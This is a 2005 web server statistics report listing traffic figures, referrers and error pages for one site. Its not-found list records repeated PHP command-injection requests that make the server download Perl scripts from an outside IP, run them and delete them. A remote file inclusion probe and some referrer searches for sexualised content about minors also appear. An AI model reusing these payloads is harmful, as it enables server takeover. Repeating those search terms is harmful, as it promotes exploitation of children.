Web Server Statistics

Week of 06/12/05 to 06/18/05

Overall Statistics

CategoryTotal
Unique sites served 645
Unique documents served 500
Unique trails followed 169
Total visits 887

Accesses per Hour

Figures are averages for that hour on a typical day.

Hour Accesses % Bytes % Bits/Sec Bytes/Sec
00:00 13.00 4.30 135,916.71 4.52 302.04 37.75
01:00 7.43 2.46 85,308.43 2.84 189.57 23.70
02:00 21.57 7.13 360,625.71 11.00 801.39 100.17
03:00 7.86 2.60 130,503.00 4.34 290.01 36.25
04:00 7.86 2.60 53,852.43 1.79 119.67 14.96
05:00 17.29 5.71 176,117.71 5.86 391.37 48.92
06:00 8.71 2.88 90,460.00 3.01 201.02 25.13
07:00 12.57 4.15 194,671.57 6.48 432.60 54.08
08:00 7.00 2.31 36,413.43 1.21 80.92 10.11
09:00 11.57 3.82 95,322.14 3.17 211.83 26.48
10:00 11.86 3.92 75,475.43 2.51 167.72 20.97
11:00 6.29 2.08 43,280.71 1.44 96.18 12.02
12:00 10.57 3.49 80,355.14 2.67 178.57 22.32
13:00 17.43 5.76 168,923.86 5.62 375.39 46.92
14:00 36.43 12.04 444,461.00 14.79 987.69 123.46
15:00 12.29 4.06 72,185.14 2.40 160.41 20.05
16:00 15.43 5.10 60,815.14 2.02 135.14 16.89
17:00 9.86 3.26 62,213.71 2.07 138.25 17.28
18:00 10.71 3.54 199,261.14 6.63 442.80 55.35
19:00 12.14 4.01 130,322.43 4.34 289.61 36.20
20:00 11.86 3.92 86,552.71 2.88 192.34 24.04
21:00 10.14 3.35 72,774.86 2.42 161.72 20.22
22:00 14.29 4.72 118,352.57 3.94 263.01 32.88
23:00 8.43 2.79 31,807.71 1.06 70.68 8.84

Accesses per Day


Date Accesses % Bytes % Bits/Sec Bytes/Sec
06/12/05 288 13.60 3,244,358 15.42 300.40 37.55
06/13/05 346 16.34 3,027,209 14.39 280.30 35.04
06/14/05 489 23.09 5,572,037 26.48 515.93 64.49
06/15/05 284 13.41 2,513,969 11.95 232.77 29.10
06/16/05 259 12.23 2,184,046 10.38 202.23 25.28
06/17/05 245 11.57 1,646,689 7.83 152.47 19.06
06/18/05 207 9.77 2,853,501 13.56 264.21 33.03

Contents of / Sorted by Access Count


RankFile or SubdirectoryAccesses%Bytes%
1 [/wusage] [Referrers] 981 46.36 19,867,675 94.42
2 / [Referrers] 921 43.53 436,472 2.07
3 /ads.html [Referrers] 98 4.63 36,589 0.17
4 [/banners]63 2.98 636,605 3.03
5 /viewtopic.php8 0.38 5,016 0.02
6 /?hallofshame.org [Referrers] 5 0.24 3,621 0.02
7 /readme.htm [Referrers] 5 0.24 33,500 0.16
8 /include_once.php2 0.09 1,266 0.01
9 /infos.php2 0.09 1,266 0.01
10 /phpinfo.php2 0.09 1,266 0.01
11 /phpinfos.php2 0.09 1,266 0.01
12 /?breadsonline1 0.05 690 0.00
13 /?cybernobel.com1 0.05 692 0.00
14 /?diblasiopublishing.com1 0.05 700 0.00
15 /?madteo.net1 0.05 709 0.00
16 /?nicforce.net1 0.05 690 0.00
17 /bonus2.php1 0.05 621 0.00
18 /contacts.php1 0.05 621 0.00
19 /db.php1 0.05 621 0.00
20 /directory.php1 0.05 621 0.00
21 /forumdisplay.php1 0.05 621 0.00
22 /free.php [Referrers] 1 0.05 621 0.00
23 /index.php1 0.05 621 0.00
24 [/index.php?x=http:]1 0.05 621 0.00
25 /index1.php1 0.05 621 0.00
26 /index2.php1 0.05 621 0.00
27 /info.php1 0.05 621 0.00
28 /init.php1 0.05 621 0.00
29 /link.php1 0.05 621 0.00
30 /links.php1 0.05 621 0.00
31 /mmex.php [Referrers] 1 0.05 621 0.00
32 /module.php1 0.05 621 0.00
33 /page.php1 0.05 621 0.00
34 /phptest.php1 0.05 621 0.00
35 /template.php1 0.05 621 0.00
36 /test.php1 0.05 621 0.00
37 /test1.php1 0.05 621 0.00
38 /test2.php1 0.05 621 0.00

Totals

ItemAccessesBytes
Overall Accesses 2,118 21,041,809
Home Page Accesses 921 436,472
YourDomainHost banner 1 18 221,520
Perl Archive banner 1 27 230,600

Top 39 of 500 Documents Sorted by Access Count


RankURLAccesses%Bytes%
1 / [Referrers] 921 43.48 436,472 2.07
2 /ads.html [Referrers] 98 4.63 36,589 0.17
3 /banners/ydh1.jpg [Referrers] 18 0.85 221,520 1.05
4 /viewtopic.php8 0.38 5,016 0.02
5 /wusage [Referrers] 6 0.28 1,956 0.01
6 /readme.htm [Referrers] 5 0.24 33,500 0.16
7 /?hallofshame.org [Referrers] 5 0.24 3,621 0.02
8 http://www.intel.com/2 0.09 124 0.00
9 /infos.php2 0.09 1,266 0.01
10 /include_once.php2 0.09 1,266 0.01
11 /phpinfos.php2 0.09 1,266 0.01
12 /phpinfo.php2 0.09 1,266 0.01
13 /?diblasiopublishing.com1 0.05 700 0.00
14 /?cybernobel.com1 0.05 692 0.00
15 /index2.php1 0.05 621 0.00
16 /info.php1 0.05 621 0.00
17 /test2.php1 0.05 621 0.00
18 /link.php1 0.05 621 0.00
19 /?nicforce.net1 0.05 690 0.00
20 /test1.php1 0.05 621 0.00
21 /?breadsonline1 0.05 690 0.00
22 /mmex.php [Referrers] 1 0.05 621 0.00
23 /free.php [Referrers] 1 0.05 621 0.00
24 /test.php1 0.05 621 0.00
25 /phptest.php1 0.05 621 0.00
26 /index.php1 0.05 621 0.00
27 /page.php1 0.05 621 0.00
28 /?madteo.net1 0.05 709 0.00
29 /index1.php1 0.05 621 0.00
30 /links.php1 0.05 621 0.00
31 /contacts.php1 0.05 621 0.00
32 /directory.php1 0.05 621 0.00
33 /db.php1 0.05 621 0.00
34 /bonus2.php1 0.05 621 0.00
35 /template.php1 0.05 621 0.00
36 /forumdisplay.php1 0.05 621 0.00
37 /module.php1 0.05 621 0.00
38 /init.php1 0.05 621 0.00
39 /index.php?x=http://www.todoconsultoria.com.ar/oscommerce/images/outlawgroup/cmd.jpg?&cmd=id1 0.05 621 0.00

Top 50 of 645 Sites by Access Count


RankSiteAccesses%Bytes%
1 80.108.23.90132 6.23 1,576,579 7.49
2 193.171.104.21068 3.21 793,673 3.77
3 66.249.66.1564 3.02 1,430,377 6.80
4 66.249.65.3364 3.02 1,506,692 7.16
5 66.249.65.20750 2.36 1,727,776 8.21
6 24.73.52.15748 2.27 29,856 0.14
7 68.142.235.10248 2.27 186,194 0.88
8 70.20.226.2836 1.70 498,125 2.37
9 65.32.92.23935 1.65 21,770 0.10
10 65.214.44.16831 1.46 788,001 3.74
11 131.158.129.2027 1.27 8,208 0.04
12 212.95.252.1626 1.23 14,802 0.07
13 192.116.119.13320 0.94 9,080 0.04
14 66.249.66.20320 0.94 291,097 1.38
15 152.130.1.1619 0.90 5,776 0.03
16 64.242.88.1017 0.80 10,172 0.05
17 24.13.13.21017 0.80 7,718 0.04
18 68.34.62.23916 0.76 376,494 1.79
19 69.251.106.10315 0.71 51,020 0.24
20 207.248.240.11914 0.66 9,877 0.05
21 12.221.14.22414 0.66 243,120 1.16
22 64.136.49.22514 0.66 231,197 1.10
23 68.42.17.16113 0.61 191,821 0.91
24 203.144.65.23313 0.61 5,448 0.03
25 24.131.241.20812 0.57 50,488 0.24
26 192.131.90.13112 0.57 239,246 1.14
27 172.141.37.25312 0.57 188,165 0.89
28 24.70.112.8711 0.52 156,416 0.74
29 68.217.75.17011 0.52 146,962 0.70
30 66.219.150.18011 0.52 265,706 1.26
31 64.33.172.3411 0.52 583 0.00
32 70.248.123.13711 0.52 150,970 0.72
33 156.33.206.19410 0.47 114,119 0.54
34 128.194.135.8310 0.47 2,724 0.01
35 66.160.91.89 0.42 135,646 0.64
36 162.119.240.1038 0.38 2,432 0.01
37 64.210.196.1978 0.38 26,157 0.12
38 67.176.110.398 0.38 138,723 0.66
39 69.215.234.1927 0.33 121,692 0.58
40 66.194.6.27 0.33 3,142 0.01
41 80.133.219.287 0.33 132,932 0.63
42 193.49.48.2497 0.33 371 0.00
43 63.22.204.47 0.33 128,436 0.61
44 194.245.84.427 0.33 121,514 0.58
45 24.14.149.787 0.33 113,136 0.54
46 65.214.44.1857 0.33 3,094 0.01
47 67.86.239.1497 0.33 3,178 0.02
48 65.37.110.2497 0.33 25,512 0.12
49 201.130.215.2317 0.33 132,932 0.63
50 65.114.54.1267 0.33 124,852 0.59

Top 100 of 469 Referring URLs by Access Count

RankURLAccesses%Bytes%
1 http://www.redirect.nicforce.net/mainten/domain.pl61 5.44 29,219 0.35
2 http://www.redirect.nicforce.net/wusage/12266.html47 4.19 514,173 6.13
3 http://www.redirect.nicforce.net/mainten/change.pl31 2.77 14,849 0.18
4 http://www.redirect.nicforce.net/wusage/11993.html20 1.78 234,971 2.80
5 http://www.whois.sc/18 1.61 2,610 0.03
6 http://www.redirect.nicforce.net/wusage/12406.html18 1.61 176,184 2.10
7 http://www.redirect.nicforce.net/wusage/11923.html18 1.61 207,507 2.47
8 http://www.redirect.nicforce.net/wusage/11503.html17 1.52 331,139 3.95
9 http://www.tommykramer.com/15 1.34 5,621 0.07
10 http://www.blackrefer.com/beauty11.html14 1.25 4,220 0.05
11 http://www.sm-imagesofyou.com/13 1.16 4,688 0.06
12 http://www.redirect.nicforce.net/wusage/12182.html13 1.16 177,898 2.12
13 http://www.redirect.nicforce.net/wusage/11517.html13 1.16 128,845 1.54
14 http://search.megaweb.com/web/o.html?q=lolitas12 1.07 164,836 1.96
15 http://www.redirect.nicforce.net/wusage/11839.html12 1.07 132,706 1.58
16 http://www.redirect.nicforce.net/wusage/11783.html12 1.07 132,604 1.58
17 http://www.redirect.nicforce.net/wusage/12217.html12 1.07 135,658 1.62
18 http://www.redirect.nicforce.net/wusage/12126.html11 0.98 130,299 1.55
19 http://www.sm-imagesofyou.com/ads.html10 0.89 103,011 1.23
20 http://www.coinbankcompany.com/10 0.89 3,875 0.05
21 http://www.tommykramer.com/ads.html9 0.80 98,408 1.17
22 http://www.coinbankcompany.com/ads.html9 0.80 109,179 1.30
23 http://www.redirect.nicforce.net/wusage/12189rd.html9 0.80 114,126 1.36
24 http://www.redirect.nicforce.net/wusage/11755.html8 0.71 120,280 1.43
25 http://www.redirect.nicforce.net/mainten/maketxt.pl8 0.71 3,832 0.05
26 http://www.google.com/search?hl=en&q=exquisite trendz7 0.62 113,232 1.35
27 http://www.redirect.nicforce.net/wusage/11769.html7 0.62 126,295 1.51
28 http://www.redirect.nicforce.net/wusage/11713.html7 0.62 119,358 1.42
29 http://www.redirect.nicforce.net/wusage/12133.html6 0.54 63,718 0.76
30 http://www.spid1.com/free md.html6 0.54 1,812 0.02
31 http://www.aardhost.net/wusage/11377.html6 0.54 65,124 0.78
32 http://64.233.167.104/search?q=cache:wTdJRGttNLIJ:www.redirect.nicforce.net/wusage/12287.html "@impact-i.com"&hl=en6 0.54 67,383 0.80
33 http://www.redirect.nicforce.net/6 0.54 3,707 0.04
34 http://www.redirect.nicforce.net/ads.html6 0.54 24,667 0.29
35 http://www.redirect.nicforce.net/wusage/12231.html6 0.54 68,724 0.82
36 http://www.redirect.nicforce.net/wusage/11580.html6 0.54 62,764 0.75
37 http://www.redirect.nicforce.net/wusage/12392.html6 0.54 64,748 0.77
38 http://64.233.167.104/search?q=cache:GvaWujo3W6AJ:www.redirect.nicforce.net/wusage/12091.html "192.168.3.2:15871"&hl=ja&ie=UTF-8&inlang=ja6 0.54 61,848 0.74
39 http://www.redirect.nicforce.net/wusage/11951.html6 0.54 66,739 0.80
40 http://www.redirect.nicforce.net/mainten/datas.txt5 0.45 2,395 0.03
41 http://www.redirect.nicforce.net/robots.txt5 0.45 665 0.01
42 http://member-services.asianavenue.com/Members/MyPage/guestbook.html?MEMBER=SLK785 0.45 725 0.01
43 http://www.blackrefer.com/beauty7.html4 0.36 1,192 0.01
44 http://www.google.com/search?hl=en&q=www.asianwired.com&btnG=Google Search4 0.36 1,816 0.02
45 http://search.netscape.com/ns/search?query=www.exquisitetrendz.com&x=13&y=14&st=webresults&fromPage=NSCPResults4 0.36 1,216 0.01
46 http://coinbankcompany.com/4 0.36 1,563 0.02
47 http://coinbankcompany.com/ads.html4 0.36 49,213 0.59
48 http://www.redirect.nicforce.net/banners/nicforce4.gif4 0.36 49,196 0.59
49 http://www.redirect.nicforce.net/banners/tpa.gif4 0.36 36,896 0.44
50 http://www.redirect.nicforce.net/banners/ydh1.jpg4 0.36 55,380 0.66
51 http://www.redirect.nicforce.net/wusage/11503d.gif4 0.36 65,056 0.78
52 http://www.redirect.nicforce.net/wusage/11503di.gif4 0.36 19,560 0.23
53 http://www.redirect.nicforce.net/wusage/11503h.gif4 0.36 97,976 1.17
54 http://www.redirect.nicforce.net/wusage/11503n.gif4 0.36 18,836 0.22
55 http://www.redirect.nicforce.net/wusage/11503s.gif4 0.36 19,544 0.23
56 http://www.redirect.nicforce.net/wusage/11503t.gif4 0.36 19,616 0.23
57 http://www.redirect.nicforce.net/readme.htm4 0.36 26,784 0.32
58 http://www.redirect.nicforce.net/mainten/delete.pl4 0.36 1,916 0.02
59 http://www.redirect.nicforce.net/mainten/link.pl4 0.36 1,916 0.02
60 http://www.redirect.nicforce.net/cgi-bin/formmail.cgi4 0.36 532 0.01
61 http://www.redirect.nicforce.net/cgi-bin/formmail.pl4 0.36 532 0.01
62 http://dpxmldsl.verizon.net/_1_24G4TOV03OEYSHJ__vzn.dsl/dog/results?otmpl=dog/webresults.htm&qkw=www.exquisitetrendz.com&qcat=web&top=1&start=&ver=208033 0.27 912 0.01
63 http://zoek.lycos.nl/cgi-bin/pursuit?query=cp lolitas&SITE=nl&cat=web&matchmode=and&idx=all&enc=utf-8&x=23&y=103 0.27 36,888 0.44
64 http://www.automotive-links.com/ent/eur/tea.htm3 0.27 1,350 0.02
65 http://www.kerclink.com/MB3/clientxml/GoClick/Display.aspx?DisplayNum=3&SearchList=cars,travel,debt,mortgage,playstation,Xbox,loans,toys,money,cash,fun,gardening,games,television,stereos,computers,printers,books,DVD,videos,jewelry,music3 0.27 2,049 0.02
66 http://asianwired.mail.everyone.net/email/scripts/loginuser.pl3 0.27 1,362 0.02
67 http://www.impact-i.com/search/viewsupp.cfm?org=43632&ent=03 0.27 1,083 0.01
68 http://www.google.com/search?hl=en&lr=&q=exquisite trendz&btnG=Search3 0.27 49,465 0.59
69 http://search.yahoo.com/search?p=asianwired&fr=FP-tab-web-t&toggle=1&ei=UTF-83 0.27 1,362 0.02
70 http://www.spid1.com/free dc.html3 0.27 912 0.01
71 http://www.redirect.nicforce.net/images/title4s.jpg3 0.27 399 0.00
72 http://www.asianwired.com/ccbill/secure/ccbill.log3 0.27 399 0.00
73 http://sea.search.msn.co.uk/preview.aspx?&q=naked lolitas banners and links3 0.27 36,888 0.44
74 http://www.redirect.nicforce.net/admin/file_manager.php2 0.18 290 0.00
75 http://www.phudi.com/search.php?st=user&term=fatherdaughter sex2 0.18 125,446 1.50
76 http://www.google.com/search?hl=en&lr=&q=asian EMAIL&btnG=Search2 0.18 908 0.01
77 http://search.yahoo.com/search?p=exquisite trendz&sp=1&ei=UTF-8&fr=logout&SpellState=n-79730880_q-F4xfa3WOXZfZmaWtFIXZMgABAA@@2 0.18 608 0.01
78 http://www.igorkalinin.com/mail/list.ru.html2 0.18 908 0.01
79 http://www.asianinfo.org/asianinfo/art/literature/taiwan.htm2 0.18 290 0.00
80 http://www.avantfind.com/search.asp?iss=d-www-en-us_i-EB545H37LIMK5J11_s-325&Keywords=naked lolitas2 0.18 28,824 0.34
81 http://search.netscape.com/ns/search?query=EXQUISITE TRENDZ&x=0&y=0&st=webresults&fromPage=NSCPResults2 0.18 608 0.01
82 http://search.netscape.com/ns/search?query=EXQUISITETRENDZ.COM&x=10&y=11&st=webresults&fromPage=NSCPResults2 0.18 608 0.01
83 http://search.msn.com/results.aspx?FORM=MSNH&srch_type=0&q=coin bank2 0.18 1,302 0.02
84 http://page-not-found.net/SmartOffers/SmartOffers.aspx2 0.18 1,366 0.02
85 http://www.redirect.nicforce.net/wusage/12203rd.html2 0.18 118,551 1.41
86 http://www.asian-nation.org/links4.shtml2 0.18 908 0.01
87 http://www.redirect.nicforce.net/wusage/11496d.gif2 0.18 32,760 0.39
88 http://www.redirect.nicforce.net/wusage/11496di.gif2 0.18 10,018 0.12
89 http://www.redirect.nicforce.net/wusage/11496h.gif2 0.18 57,862 0.69
90 http://www.redirect.nicforce.net/wusage/11496n.gif2 0.18 17,618 0.21
91 http://www.redirect.nicforce.net/wusage/11496s.gif2 0.18 11,684 0.14
92 http://www.redirect.nicforce.net/wusage/11496t.gif2 0.18 10,042 0.12
93 http://www.redirect.nicforce.net/wusage/11678d.gif2 0.18 32,906 0.39
94 http://www.redirect.nicforce.net/wusage/11678di.gif2 0.18 9,984 0.12
95 http://www.redirect.nicforce.net/wusage/11678h.gif2 0.18 64,470 0.77
96 http://www.redirect.nicforce.net/wusage/11678n.gif2 0.18 10,704 0.13
97 http://www.redirect.nicforce.net/wusage/11678s.gif2 0.18 11,116 0.13
98 http://www.redirect.nicforce.net/wusage/11678t.gif2 0.18 9,722 0.12
99 http://www.redirect.nicforce.net/wusage/11699d.gif2 0.18 32,304 0.39
100 http://www.redirect.nicforce.net/wusage/11699di.gif2 0.18 9,440 0.11

Top 10 of 28 Document Trails

RankTrailVisitsAvg. Minutes
1 http://www.redirect.nicforce.net/wusage/12189rd.html, /, /ads.html 3 0.00
2 /infos.php, /include_once.php, /phpinfos.php, /phpinfo.php 1 3.00
3 /phpinfos.php, /infos.php, /include_once.php, /phpinfo.php 1 1.00
4 /, /ads.html, /, /ads.html, /, /ads.html 1 3.00
5 /, /ads.html, /banners/ydh1.jpg, /, /ads.html, /, /ads.html, /banners/ydh1.jpg, /, /ads.html 1 1.00
6 /, /ads.html, /, /ads.html 1 0.00
7 http://www.google.com/search?q=Tommy Kramer&hl=en&lr=&start=10&sa=N, /, /ads.html 1 0.00
8 http://www.purple-pride.com/index.php?option=com_content&task=view&id=16&Itemid=67, /, /ads.html 1 0.00
9 http://search.msn.com/results.aspx?FORM=MSNH&srch_type=0&q=coin bank, /, /ads.html 1 0.00
10 /, /ads.html, /banners/ydh1.jpg, /ads.html, /, /ads.html 1 1.00

Visits Report

Total visits: 887
Average visit: 0.02 minutes
Longest visit: 3 minutes
Average accesses per visit: 1.32

10 Example Visits

SiteMinutesTrail
207.248.240.119 2 http://genespp.com/4health/7/index.html, /
162.119.240.103 2 http://search.netscape.com/ns/search?query=EXQUISITE TRENDZ&x=0&y=0&st=webresults&fromPage=NSCPResults, /
66.249.65.207 4 /infos.php, /include_once.php, /phpinfos.php, /phpinfo.php
69.138.29.66 2 http://search.yahoo.com/search?p=exquisite trendz&sp=1&ei=UTF-8&fr=logout&SpellState=n-79730880_q-F4xfa3WOXZfZmaWtFIXZMgABAA@@, /
71.103.195.51 2 http://search.yahoo.com/search?p=midwestern industries&prssweb=Search&ei=UTF-8&fr=FP-tab-web-t&fl=0&x=wrt, /
66.74.208.113 2 http://www.kumimonster.com/lin.php, /
68.217.75.170 4 http://www.redirect.nicforce.net/wusage/11755.html, /, /ads.html, /banners/ydh1.jpg
68.142.251.31 1 /?madteo.net
63.167.255.202 2 http://www.google.com/search?hl=en&q=exquisite trendz&spell=1, /
68.142.249.197 1 /bonus2.php

Top 10 of 562 Documents Not Found

RankURLAccesses%
1 /robots.txt [Referrers] 460 27.43
2 /favicon.ico [Referrers] 428 25.52
3 /index.html [Referrers] 32 1.91
4 /wusage/11839.html&rush=echo _START_; cd /tmp;mkdir .temp;cd .temp;wget http://61.85.234.215/.zk/msn.txt;wget http://61.85.234.215/.zk/coll.txt;wget http://61.85.234.215/.zk/g.txt;perl msn.txt;rm msn.txt;perl coll.txt;rm coll.txt;perl g.txt;rm g.txt; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27'; 22 1.31
5 /wusage/11888.html&rush=echo _START_; cd /tmp;mkdir .temp;cd .temp;wget http://61.85.234.215/.zk/msn.txt;wget http://61.85.234.215/.zk/coll.txt;wget http://61.85.234.215/.zk/g.txt;perl msn.txt;rm msn.txt;perl coll.txt;rm coll.txt;perl g.txt;rm g.txt; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27'; 18 1.07
6 /wusage/12203.html&rush=echo _START_; cd /tmp;mkdir .temp;cd .temp;wget http://61.85.234.215/.zk/msn.txt;wget http://61.85.234.215/.zk/coll.txt;wget http://61.85.234.215/.zk/g.txt;perl msn.txt;rm msn.txt;perl coll.txt;rm coll.txt;perl g.txt;rm g.txt; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27'; 17 1.01
7 /wusage/12084.html&rush=echo _START_; cd /tmp;mkdir .temp;cd .temp;wget http://61.85.234.215/.zk/msn.txt;wget http://61.85.234.215/.zk/coll.txt;wget http://61.85.234.215/.zk/g.txt;perl msn.txt;rm msn.txt;perl coll.txt;rm coll.txt;perl g.txt;rm g.txt; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27'; 17 1.01
8 /wusage/11895.html&rush=echo _START_; cd /tmp;mkdir .temp;cd .temp;wget http://61.85.234.215/.zk/msn.txt;wget http://61.85.234.215/.zk/coll.txt;wget http://61.85.234.215/.zk/g.txt;perl msn.txt;rm msn.txt;perl coll.txt;rm coll.txt;perl g.txt;rm g.txt; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27'; 14 0.83
9 /wusage/11846.html&rush=echo _START_; cd /tmp;mkdir .temp;cd .temp;wget http://61.85.234.215/.zk/msn.txt;wget http://61.85.234.215/.zk/coll.txt;wget http://61.85.234.215/.zk/g.txt;perl msn.txt;rm msn.txt;perl coll.txt;rm coll.txt;perl g.txt;rm g.txt; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27'; 9 0.54
10 /bannerimages/C2AHOUSE.GIF [Referrers] 8 0.48

Accesses by Result Code

CodeMeaningAccesses%
0 ? 4 0.10
200 OK 2,070 51.89
201 Created 0 0.00
202 Accepted 0 0.00
206 Partial Content 2 0.05
301 Moved Permanently 6 0.15
302 Moved Temporarily 0 0.00
304 Not Modified 40 1.00
400 Bad Request 52 1.30
401 Unauthorized 136 3.41
403 Forbidden 0 0.00
404 Not Found 1,677 42.04
408 ? 1 0.03
500 Internal Server Error 0 0.00
501 Not Implemented 1 0.03
502 Bad Gateway 0 0.00
503 Service Unavailable 0 0.00